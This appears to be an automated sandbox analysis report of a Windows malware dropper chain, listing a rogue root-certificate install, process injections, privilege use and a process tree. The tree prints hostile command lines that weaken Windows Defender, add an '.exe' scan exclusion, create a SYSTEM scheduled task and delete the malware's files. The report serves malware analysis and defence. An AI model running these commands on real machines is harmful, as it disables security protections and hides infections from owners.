Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	fileosn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	fileosn.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
3684	explortu.exe
3684	explortu.exe
3596	86f9223020.exe
3596	86f9223020.exe
2260	axplont.exe
2260	axplont.exe
2440	29d11f4bcc.exe
2440	29d11f4bcc.exe
3556	RegAsm.exe
3556	RegAsm.exe
4544	svhoost.exe
4544	svhoost.exe
5052	One.exe
5052	One.exe
1476	fileosn.exe
1476	fileosn.exe
1476	fileosn.exe
1476	fileosn.exe
1476	fileosn.exe
1476	fileosn.exe
1948	wUHJkuwe2w34tSePdh99BEEo.exe
1948	wUHJkuwe2w34tSePdh99BEEo.exe
1948	wUHJkuwe2w34tSePdh99BEEo.exe
1948	wUHJkuwe2w34tSePdh99BEEo.exe
4688	GGFOXxJVjllA5xceG6eveF2u.exe
4688	GGFOXxJVjllA5xceG6eveF2u.exe
4544	svhoost.exe
4544	svhoost.exe
4544	svhoost.exe
4544	svhoost.exe
4688	GGFOXxJVjllA5xceG6eveF2u.exe
5868	explortu.exe
5868	explortu.exe
5936	axplont.exe
5936	axplont.exe
5728	AddInProcess32.exe
5728	AddInProcess32.exe
5428	powershell.exe
5428	powershell.exe
5428	powershell.exe
5728	AddInProcess32.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
4412	powershell.exe
4412	powershell.exe
4412	powershell.exe
5404	powershell.exe
5404	powershell.exe
5404	powershell.exe
4164	powershell.exe
4164	powershell.exe
4164	powershell.exe
1096	powershell.EXE
1096	powershell.EXE
1096	powershell.EXE
2148	explortu.exe
2148	explortu.exe
4900	axplont.exe
4900	axplont.exe
5340	InstallUtil.exe
5340	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	One.exe
Token: SeBackupPrivilege	5052	One.exe
Token: SeSecurityPrivilege	5052	One.exe
Token: SeSecurityPrivilege	5052	One.exe
Token: SeSecurityPrivilege	5052	One.exe
Token: SeSecurityPrivilege	5052	One.exe
Token: SeDebugPrivilege	2288	file300un.exe
Token: SeDebugPrivilege	4544	svhoost.exe
Token: SeDebugPrivilege	1476	fileosn.exe
Token: SeDebugPrivilege	2696	msbuild.exe
Token: SeDebugPrivilege	4688	GGFOXxJVjllA5xceG6eveF2u.exe
Token: SeManageVolumePrivilege	1948	wUHJkuwe2w34tSePdh99BEEo.exe
Token: SeDebugPrivilege	4696	RegAsm.exe
Token: SeDebugPrivilege	5728	AddInProcess32.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeIncreaseQuotaPrivilege	344	WMIC.exe
Token: SeSecurityPrivilege	344	WMIC.exe
Token: SeTakeOwnershipPrivilege	344	WMIC.exe
Token: SeLoadDriverPrivilege	344	WMIC.exe
Token: SeSystemProfilePrivilege	344	WMIC.exe
Token: SeSystemtimePrivilege	344	WMIC.exe
Token: SeProfSingleProcessPrivilege	344	WMIC.exe
Token: SeIncBasePriorityPrivilege	344	WMIC.exe
Token: SeCreatePagefilePrivilege	344	WMIC.exe
Token: SeBackupPrivilege	344	WMIC.exe
Token: SeRestorePrivilege	344	WMIC.exe
Token: SeShutdownPrivilege	344	WMIC.exe
Token: SeDebugPrivilege	344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	344	WMIC.exe
Token: SeRemoteShutdownPrivilege	344	WMIC.exe
Token: SeUndockPrivilege	344	WMIC.exe
Token: SeManageVolumePrivilege	344	WMIC.exe
Token: 33	344	WMIC.exe
Token: 34	344	WMIC.exe
Token: 35	344	WMIC.exe
Token: 36	344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	344	WMIC.exe
Token: SeSecurityPrivilege	344	WMIC.exe
Token: SeTakeOwnershipPrivilege	344	WMIC.exe
Token: SeLoadDriverPrivilege	344	WMIC.exe
Token: SeSystemProfilePrivilege	344	WMIC.exe
Token: SeSystemtimePrivilege	344	WMIC.exe
Token: SeProfSingleProcessPrivilege	344	WMIC.exe
Token: SeIncBasePriorityPrivilege	344	WMIC.exe
Token: SeCreatePagefilePrivilege	344	WMIC.exe
Token: SeBackupPrivilege	344	WMIC.exe
Token: SeRestorePrivilege	344	WMIC.exe
Token: SeShutdownPrivilege	344	WMIC.exe
Token: SeDebugPrivilege	344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	344	WMIC.exe
Token: SeRemoteShutdownPrivilege	344	WMIC.exe
Token: SeUndockPrivilege	344	WMIC.exe
Token: SeManageVolumePrivilege	344	WMIC.exe
Token: 33	344	WMIC.exe
Token: 34	344	WMIC.exe
Token: 35	344	WMIC.exe
Token: 36	344	WMIC.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	1096	powershell.EXE
Token: SeDebugPrivilege	5340	InstallUtil.exe
Token: SeBackupPrivilege	5340	InstallUtil.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5188	nCbdTcMWNLlH0wCA9ZZjvaf9.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
5188	nCbdTcMWNLlH0wCA9ZZjvaf9.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 3684	2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe	80
PID 2624 wrote to memory of 3684	2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe	80
PID 2624 wrote to memory of 3684	2624	8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe	80
PID 3684 wrote to memory of 2508	3684	explortu.exe	81
PID 3684 wrote to memory of 2508	3684	explortu.exe	81
PID 3684 wrote to memory of 2508	3684	explortu.exe	81
PID 3684 wrote to memory of 3596	3684	explortu.exe	82
PID 3684 wrote to memory of 3596	3684	explortu.exe	82
PID 3684 wrote to memory of 3596	3684	explortu.exe	82
PID 3596 wrote to memory of 2260	3596	86f9223020.exe	84
PID 3596 wrote to memory of 2260	3596	86f9223020.exe	84
PID 3596 wrote to memory of 2260	3596	86f9223020.exe	84
PID 3684 wrote to memory of 2440	3684	explortu.exe	83
PID 3684 wrote to memory of 2440	3684	explortu.exe	83
PID 3684 wrote to memory of 2440	3684	explortu.exe	83
PID 2260 wrote to memory of 1168	2260	axplont.exe	85
PID 2260 wrote to memory of 1168	2260	axplont.exe	85
PID 2260 wrote to memory of 1168	2260	axplont.exe	85
PID 1168 wrote to memory of 4588	1168	33333.exe	86
PID 1168 wrote to memory of 4588	1168	33333.exe	86
PID 1168 wrote to memory of 4588	1168	33333.exe	86
PID 1168 wrote to memory of 4676	1168	33333.exe	87
PID 1168 wrote to memory of 4676	1168	33333.exe	87
PID 1168 wrote to memory of 4676	1168	33333.exe	87
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 1168 wrote to memory of 4696	1168	33333.exe	88
PID 2260 wrote to memory of 1476	2260	axplont.exe	89
PID 2260 wrote to memory of 1476	2260	axplont.exe	89
PID 2260 wrote to memory of 1476	2260	axplont.exe	89
PID 4696 wrote to memory of 4544	4696	RegAsm.exe	90
PID 4696 wrote to memory of 4544	4696	RegAsm.exe	90
PID 4696 wrote to memory of 4544	4696	RegAsm.exe	90
PID 4696 wrote to memory of 5052	4696	RegAsm.exe	91
PID 4696 wrote to memory of 5052	4696	RegAsm.exe	91
PID 2260 wrote to memory of 1868	2260	axplont.exe	93
PID 2260 wrote to memory of 1868	2260	axplont.exe	93
PID 2260 wrote to memory of 1868	2260	axplont.exe	93
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 1868 wrote to memory of 5008	1868	lumma1234.exe	96
PID 2260 wrote to memory of 4648	2260	axplont.exe	100
PID 2260 wrote to memory of 4648	2260	axplont.exe	100
PID 2260 wrote to memory of 4648	2260	axplont.exe	100
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101
PID 4648 wrote to memory of 4660	4648	gold.exe	101

C:\Users\Admin\AppData\Local\Temp\8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe
"C:\Users\Admin\AppData\Local\Temp\8710fda7d6d74854a7e76ae97a65683bb492831c2874f7cb171a70b8b874acc2.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
  "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
    "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
    3⤵
    PID:2508
- - C:\Users\Admin\1000004002\86f9223020.exe
    "C:\Users\Admin\1000004002\86f9223020.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
      "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1168
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4588
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4676
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
        
        C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5052
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        7⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:5340
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 284
        6⤵
        Program crash
        
        PID:760
    - - C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1476
    - - C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1868
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5008
    - - C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4648
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4660
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 272
        6⤵
        Program crash
        
        PID:4640
    - - C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2372
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3556
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit
        7⤵
        
        PID:4428
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:1576
    - - C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
        
        C:\Users\Admin\Pictures\wUHJkuwe2w34tSePdh99BEEo.exe
        
        "C:\Users\Admin\Pictures\wUHJkuwe2w34tSePdh99BEEo.exe" /s
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
        
        C:\Users\Admin\Pictures\GGFOXxJVjllA5xceG6eveF2u.exe
        
        "C:\Users\Admin\Pictures\GGFOXxJVjllA5xceG6eveF2u.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        8⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5728
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5340
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        8⤵
        Checks SCSI registry key(s)
        
        PID:5140
        
        C:\Users\Admin\Pictures\nCbdTcMWNLlH0wCA9ZZjvaf9.exe
        
        "C:\Users\Admin\Pictures\nCbdTcMWNLlH0wCA9ZZjvaf9.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5188
        
        C:\Users\Admin\Pictures\soadvtQh257tqS9XS1qX4RjL.exe
        
        "C:\Users\Admin\Pictures\soadvtQh257tqS9XS1qX4RjL.exe"
        7⤵
        Modifies firewall policy service
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:5928
        
        C:\Users\Admin\Pictures\a3MqvULO1MUBCvQtDxrUWl2a.exe
        
        "C:\Users\Admin\Pictures\a3MqvULO1MUBCvQtDxrUWl2a.exe"
        7⤵
        Executes dropped EXE
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\7zS9FC5.tmp\Install.exe
        
        .\Install.exe
        8⤵
        Executes dropped EXE
        
        PID:5936
        
        C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe
        
        .\Install.exe /NQHxdidUQs "385118" /S
        9⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:5148
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:1040
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        11⤵
        
        PID:4444
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:2944
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        13⤵
        
        PID:5296
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        11⤵
        
        PID:1608
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:1292
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        13⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        11⤵
        
        PID:2668
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:4696
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        13⤵
        
        PID:5308
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        11⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:5576
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        13⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        11⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        
        PID:5588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        13⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5428
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        14⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        10⤵
        
        PID:5676
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5740
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        13⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:344
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 04:57:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSA294.tmp\Install.exe\" 1g /jhtdidiMdC 385118 /S" /V1 /F
        10⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:968
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
        10⤵
        
        PID:1476
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
        11⤵
        
        PID:1928
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bqGGCwwWIommTRgeuN
        12⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5148 -s 1092
        10⤵
        Program crash
        
        PID:5724
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        
